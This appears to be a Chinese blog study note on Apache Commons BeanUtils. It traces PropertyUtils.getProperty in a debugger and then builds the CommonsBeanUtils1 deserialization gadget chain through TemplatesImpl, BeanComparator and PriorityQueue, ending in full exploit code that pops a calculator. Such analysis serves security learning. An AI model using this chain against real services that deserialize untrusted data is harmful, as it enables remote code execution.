CommonsBeanUtils介绍
CommonsBeanUtils是Apache Commons中的一个组件,主要用于处理JavaBean的操作。 它提供了一系列工具类和方法,帮助开发者动态地获取和设置JavaBean的属性,简化了编程工作
首先是功能方面:
- 属性操作:提供了PropertyUtiles类,可以动态的获取和设置javaBean的属性,例如
PropertyUtils.getProperty(object, "property")可以调用对象的getter方法,获取属性值。
- 类型转化:提供类型转化工具,如ConvertUtils,可以将一种类型的对象转换成另一种类型。
- 比较器:BeanComparator类实现了Comparator接口,用于在集合中对javaBean对象进行排序
javaBean介绍
上面提到了javaBean对象,那么javaBean对象是什么呢?
javaBean是一种java的软件组件模型, 它通过封装属性和方法成为具有某种功能或处理某个业务的对象。
我理解起来就是,在一个public的java类中,有无参的构造函数,并且存在一个或者多个private的属性,而且提供了公开的get/set方法的类就是javaBean。也就是下面三个要素
- 该java类是公共的并且具有无参构造函数
- 存在一个或者多个私有的属性
- 有公开的getter与setter方法。
使用CommonsBeanUtils进行调用javaBean事例及源码调试
cat.java
1 2 3 4 5 6 7 8 9 10
| package org.example;
public class cat { private String name = "follycat"; public cat(){}
public String getName(){ return name; } }
|
main.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.example;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.Constructor; import java.lang.reflect.Field;
public class Main { public static void main(String[] args) throws Throwable { cat cat = new cat(); System.out.println(PropertyUtils.getProperty(cat,"name"));
} }
|
调用过后可以直接输出name的值,因为可以直接找到cat类中name的get方法。
可以进行调试一下,来看commonsBeanUtils是怎么进行调用name类的get方法的。
首先进入.getProperty,

现在可以看到参数bean是cat类,name参数还是name。
然后继续步入,走到PropertyUitlsBean中的getProperty方法。
主要是这一段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| while (resolver.hasNested(name)) { String next = resolver.next(name); Object nestedBean = null; if (bean instanceof Map) { nestedBean = getPropertyOfMapBean((Map<?, ?>) bean, next); } else if (resolver.isMapped(next)) { nestedBean = getMappedProperty(bean, next); } else if (resolver.isIndexed(next)) { nestedBean = getIndexedProperty(bean, next); } else { nestedBean = getSimpleProperty(bean, next); } if (nestedBean == null) { throw new NestedNullException ("Null property value for '" + name + "' on bean class '" + bean.getClass() + "'"); } bean = nestedBean; name = resolver.remove(name); }
if (bean instanceof Map) { bean = getPropertyOfMapBean((Map<?, ?>) bean, name); } else if (resolver.isMapped(name)) { bean = getMappedProperty(bean, name); } else if (resolver.isIndexed(name)) { bean = getIndexedProperty(bean, name); } else { bean = getSimpleProperty(bean, name); } return bean;
|
调试之后可以发现while(resolver.hasNested(name))是直接为false的,没有进入while循环中,然后因为bean不为map,引索,以及映射的属性,于是就进入了getSimpleProperty中
继续跟进到getSimpleProperty中,然后看到getPropertyDescriptor

其实可以看到在invokeMethod之前的readMethod中已经被赋值为了getName。
差不多是在这里

其中的getPropertyDescriptors() 方法用于获取类的所有属性的描述符。每个 PropertyDescriptor 提供了有关该属性的详细信息,包括其名称、getter 方法、setter 方法等。
也就是这里的信息开始有了getName方法

然后返回到getDescriptor中对获取到的getName以及其他方法进行遍历,最后返回我们所需要的那个类。

最后在这里的InvokeMethod进行执行。

跟进之后可以看到

最后返回的value就是执行后的getName的返回值了。

链子分析
尾部
既然已经知道了CommonsBeanUtils是如何调用getter方法的,现在就可以利用他进行调用任意getter方法了。
可以看到cc3的链子,这条链子之前我自己分析的时候只分析到了newTransformer方法,然后直接使用cc1中的InvokeTransformer的后半条链进行调用了他的newTransformer,这里可以继续往下面分析。
现在如果有一个getter方法调用了TemplatesImpl的newTransform方法,我们就可以通过PropertyUtils.getProperty调用getter方法,然后使用动态加载 TemplatesImpl 字节码的方式进行攻击的。
这个getter方法就是getOutputProperties,他就在newTransform的下面,并且他完全符合PropertyUtils.getProperty的调用方式。
1 2 3 4 5 6 7 8
| public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
|
所以这条链子的尾部就已经完成了,就是使用PropertyUtils.getProperty调用TemplatesImpl的getOutputProperties方法,然后进行动态字节码加载执行代码
测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class CommonsBeanUtils1 {
public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tc=templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); System.out.println(PropertyUtils.getProperty(templates,"outputProperties")); }
}
|
成功弹出计算器。
中间与前半部分
现在就是要从PropertyUtils.getProperty出发,继续寻找调用了他的链子。
可以找到BeanComparetor的compare方法,这里调用了PropertyUtils.getProperty

测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CommonsBeanUtils1 {
public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tc=templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties"); beanComparator.compare(templates,templates); }
}
|
成功弹出计算器
随后继续查找有谁调用了compare,看到PriorityQueue 这个类中的siftDownUsingComparator() 方法。这个方法调用了compare()
其实这前半部分和cc4中的前半段是一样的。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CommonsBeanUtils1 {
public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tc=templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue(transformingComparator);
priorityQueue.add(templates); priorityQueue.add(2); Class c = priorityQueue.getClass(); Field field = c.getDeclaredField("comparator"); field.setAccessible(true); field.set(priorityQueue,beanComparator);
serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj;
}
}
|